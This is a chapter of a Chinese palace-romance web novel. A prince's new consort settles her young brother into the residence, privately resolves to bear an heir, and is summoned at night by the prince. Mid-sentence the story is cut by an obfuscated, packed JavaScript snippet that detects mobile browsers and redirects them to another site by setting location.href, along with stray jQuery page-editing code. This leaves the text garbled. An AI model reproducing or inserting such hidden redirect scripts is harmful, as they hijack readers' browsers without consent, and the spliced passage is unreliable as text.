暮云低垂,细雪纷飞。
锦王府正门前。
两列仆从如雁翼般,恭敬候立于青石阶上。
廊檐下一溜琉璃风灯次第亮起,暖黄的光晕将飘落的雪花映成了碎金流萤。
戚明昭跟着阿姐戚云晞下车,仰首望着眼前这座气派的府邸门庭,眼中又是好奇又是局促,小手悄悄攥住了阿姐的袖缘。
前方,慕容湛已在轮椅上安置好,由侍从推着,径直往靖和堂去。
轮椅辘辘声方起,他略抬了抬手。
何顺立时会意,右颊那抹浅窝微陷,趋步转向戚云晞,躬身笑道:“王妃一路辛苦。小舅爷这儿,交给奴才便是。”
说着,他侧身看向明昭,笑意尤为温煦:“小舅爷,路上可冻着了?快随奴才来,王爷特意吩咐备下了暖阁,里头炭火足,先暖暖身子。”
戚云晞抬手替明昭理了理被风吹乱的额发,柔声道:“你且跟着何总管去,好生认认路。安置妥当了便歇一歇,若缺什么,不惯什么,都记在心里,晚间悄悄告诉阿姐。”
她轻轻在他背上抚了抚,“去罢。”
“嗯。”
明昭点了点头,转身朝何顺规规矩矩地行了个半礼:“有劳何总管。”
“小舅爷客气了,您这边请——”
何顺侧身引路,领着明昭朝王府深处去了。
身后伶俐的小厮上前,接过了如意手中那略显寒酸的小包袱。
如意两手一空,竟有些无措,只好默默跟在后面。
一路,她垂着眼,随着众人穿过一个又一个月洞门,转过一道又一道回廊,将沿途的景致,都暗暗记在心里。
直到,一方小巧院落蓦然映入眼帘。
门楣上悬着“青筠院”三字匾额,墨底金字。
院门敞着,台阶前立着两名身着青色棉袍、身形清瘦的小厮,束手静候。
“小舅爷,这是竹青、修南,往后便在院里伺候。”
何顺笑道:“这便是您往后小住的院子了。里头一应物事都已备齐,若还缺什么,只管吩咐他们。”
上官将军这差事办得果真麻利,挑的人,模样、举止都妥帖。
有这两位在跟前“伺候”,他这颗心,总算能暂且落回肚子里一半。
“给小舅爷请安。”
竹青、修南二人齐齐躬身。
明昭的目光从何顺那无懈可击的笑脸上移开,缓缓投向院内,挺直了那单薄的脊背,迈了进去。
屋内已然暖意扑面。
临窗的大炕上铺着厚实柔软的狐裘坐褥,炕桌上摆着一盏温热的杏仁茶并几样精巧的点心,样样细致。
倒不显奢靡,反透着一股雅致。
何顺笑道:“小舅爷若饿了,先垫一垫。晚膳一会儿便传过来。”
如意跟在后面,怔怔望着屋里的一件件陌生而讲究的摆设,手都不知该往哪儿放。
这般光景,实在离她过往的日子太远。
明昭的目光在那碟点心上停了停,又收了回来,朝何顺拱手一礼:“多谢何总管费心安排。我……暂且不用,想等阿姐一同用膳。”
“小舅爷这般说,可折煞奴才了。”
何顺笑容丝毫未淡:“那您先歇着,稍后自有人来传膳。奴才先退下了。”
说罢,又叮嘱了竹青、修南几句,方才退了出去。
暮色渐深。
戚云晞特意吩咐将晚膳设在青筠院,沐浴更衣后便携着嬷嬷侍女过去,手里还提了一小罐蜜渍海棠。
从前在戚府,明昭总眼巴巴馋这个,却难得尝上一回。
这是姐弟二人久违的、无人搅扰的一顿晚膳。
从前在府里拘谨惯了,稍有不慎便会惹来嫡母呵斥,甚至罚做粗活,连口热饭也吃不上。
如今虽换了天地,面对满桌精致菜肴,明昭仍有些放不开手脚。
戚云晞如往常般为他夹菜,望着他清减的轮廓,喉间又隐隐发涩,“明昭,多用些,阿姐瞧着你又瘦了,可是只顾着埋头读书,忘了好好吃饭?”
那句“可是母亲苛待你”在唇边打了个转,终究咽了回去。
这里是王府,终究不是能畅所欲言的地方。
侍立在一旁的如意嘴唇翕动,眼圈先红了:“王妃,小少爷他其实是……”
“如意姐!我渴了,你快去帮我倒盏茶来。”
明昭急忙出声打断,转头冲戚云晞弯起眼睛,“我没事,就是……就是偶尔读书忘了时辰。往后不会了。阿姐,这些菜真好吃,你也吃。”
说罢,他又低头扒了几口饭,两个小腮帮撑得鼓鼓的,声音含糊着道:“在这里,和阿姐一起吃,就是香。”
他只知道,阿姐今天很高兴,不能让她难过。
“是。”如意意识到失言,连忙转身去斟茶。
戚云晞的筷子停在半空。
如意那欲言又止的模样,明昭这般急急打断……还有什么不明白的?哪还需要一字一句说出来?
一股酸热直冲鼻腔,她生生将泪意压回,绽开一个无比柔软的笑容:“好,阿姐也吃。”
“我们明昭说香,那定然是最香的。”
看来,她必须更快,更稳地在这王府扎下根来。
然三姐的事,却像一根暗刺,猝不及防地扎进心头,让她无端惴惴。
父亲那番口头承诺,在嫡母刻骨的恨意,与王府莫测的局势面前,能有几分分量?
若三姐当真回来,替嫁之事败露,王爷……还会毫无顾忌的庇护她么?
眼前的一切温暖,终究是借来的。
就像此刻这满桌佳肴,还有她身上这袭云锦华服。
借来的东西,终须归还。
除非……她能真正拥有一样,既属于自己,也系于他的东西。
许氏对长姐说的那句“出阁已近两载,至今膝下犹虚,这才真真教人悬心”蓦地撞入脑海。
对!
她需要一个子嗣。
一个流淌着慕容湛血脉、名正言顺的嫡嗣。
这不仅是她最硬的护身符,更是将来能护住弟弟、无可指摘的权柄。
“阿姐?”
戚明昭轻声唤她,“你怎么不吃了?在想什么?”
戚云晞回过神来,浅浅一笑:“没什么。只是想起从前咱们在府里的日子。”
“阿姐……”
戚明昭放下筷子,暖暖的小手握住她的指尖,“这里太大,太静了,我……我有点怕。”
“不怕,阿姐在这儿呢。”她反手轻轻拍了拍他的手背。
“那……阿姐今夜可以陪我睡在这儿么?”
明昭仰着小脸,满眼童真,“就像从前那般。”
“好。”
戚云晞又替他夹了一箸菜,柔声道,“你乖乖用饭,阿姐今晚就在这儿陪你。”
窗外夜色,又沉浓了几分。
“王妃。”
门外传来何顺的声音,隔着门帘,压得低低的,“王爷请您移步靖和堂。”
靖和堂?
戚云晞一怔。
自成婚以来,除了邀她用过一顿晚膳,他从未主动传唤过她,更遑论是夜间。
明昭下意识攥紧了她的袖角。
这人此时传唤……是有何要紧事?
戚云晞轻轻抚了抚弟弟的手背,起身掀帘出去。
廊下悬的风灯摇曳,将何顺的脸映得半明半昧。
见她出来,何顺躬身将话补全:“王爷方才说,青筠院来回话,道是小舅爷初来乍到,难免畏生。如今夜色已深,小舅爷这儿自有奴才们小心伺候着。”
他略顿了顿,又道:“王爷特意传召,请您移步靖和堂,王爷还说……青筠院非王妃久留之地。您的归宿,当在王爷身侧。”
他垂着眼,一面传
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973527|193308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,一面那悬了半日的心总算踏踏实实地落回了肚里。
妥了。
王妃在王爷跟前搁稳了,任小舅爷眼睛再利、腿脚再快,也甭想越过王爷这道山,把什么不该瞧的、不该听的,捅到王妃耳朵里去。
只要王妃人在靖和堂,凭小舅爷再能扑腾,也翻不出天去。
王爷这步棋,走得让他……总算不必夜里睁着一只眼“防贼”了。
戚云晞:……
他这消息,竟灵通至此?
话已说到这个份上,已是明令。
戚云晞回身望了望屋内灯下那道小小的身影,终是狠下心,对刚随她出来,候在门外的如意轻声嘱咐:“仔细照看着,若有什么事,立刻来报。”
“是。”如意垂首应下。
*
靖和堂。
戚云晞甫一踏入内室,方抬眸,脚步便是一顿。
只见慕容湛已换了一身素白寝衣,外罩玄色薄氅,慵懒倚在软榻上。
一头墨发未束未冠,如流云般泻在肩头,额心那点朱砂在烛火下淡得似隐似现,没有了白日里那份逼人的威严,只余疏淡的冷冽。
此刻的他,恍若堕仙临世,偏又染着几分说不清的……妖异。
戚云晞脑中没来由地蹦出话本里的一个词:妖孽。
真是活脱脱一妖孽。
怪不得那貌美如花的温若绵甘愿为他舍弃正妃之位,只想栖身于他身侧。
啧,亏得是残了。
若不然这张祸国殃民的脸,不知多少闺阁女儿的春心,都得折在他身上。
“杵在门口作甚?”他未抬眼,漫不经心翻过一页书。
戚云晞定了定神,缓缓挪近了几步,垂首问道:“王、王爷传召臣妾,可是有何吩咐?”
慕容湛终于抬眸。
风眸幽邃,瞳底两簇烛火悠悠跃动,深不见底。
“王妃觉得呢?”他慢条斯理地合上书,唇角似笑非笑。
戚云晞垂睫,福了福:“臣妾愚钝,不敢妄测王爷心意。王爷既传召,定有要事示下。臣妾……恭听谕示。”
慕容湛将书搁在膝头,目光落在她低垂的眉眼间:“王妃倒是处处守着本分。只是这本分……在青筠院时,似乎忘了几分?”
戚云晞:……
本分?青筠院?
他这话……是在敲打她今日于戚府擅自做主,还是警醒她莫为幼弟忘了为妻之责?
果真是锱铢必较,半分也要与她清算到底。
她眼睫颤了颤,露出一丝恰到好处的惶然:“王爷明鉴。臣妾见幼弟初到惶惧,确有片刻心软,想着稍加抚慰亦是长姐的本分。然王爷谕令传来,如暮鼓晨钟,令臣妾幡然醒悟。”
那声气里犹带着些许自责,又道:“女子出嫁从夫,臣妾最大的本分,便是遵从王爷,侍奉王爷。此心此身,片刻不敢或忘。今日种种,是臣妾思虑不周,请王爷责罚。”
她缓缓抬起眼,目光澄澈见底,就那么巴巴望定了他。
一个念头倏然清晰。
如此绝色,如此尊荣……便是要与他共育子嗣,亦不算亏。
至少,这并非一桩令人难以忍受的交易。
反倒,仅从这副皮囊来看,她竟可耻地觉得……自己,才是占了便宜的那一方。
慕容湛静默地望了她片刻。
从前是“暗自钦仰”,如今是“此心此身,不敢或忘”。
这丫头的“情话”,张口就来,倒是一次比一次顺耳。
就是不知,这不敢或忘的,究竟是他本人,还是她心心念念的王妃之位。
他唇角几不可察地勾了勾,朝她伸出了手:“过来。”
演得这般好,岂能无赏。
那只手骨节分明,修长如玉,掌心上那层经年的薄茧,隔着数步之遥,竟也看得分明。
未再多言,亦不容拒绝。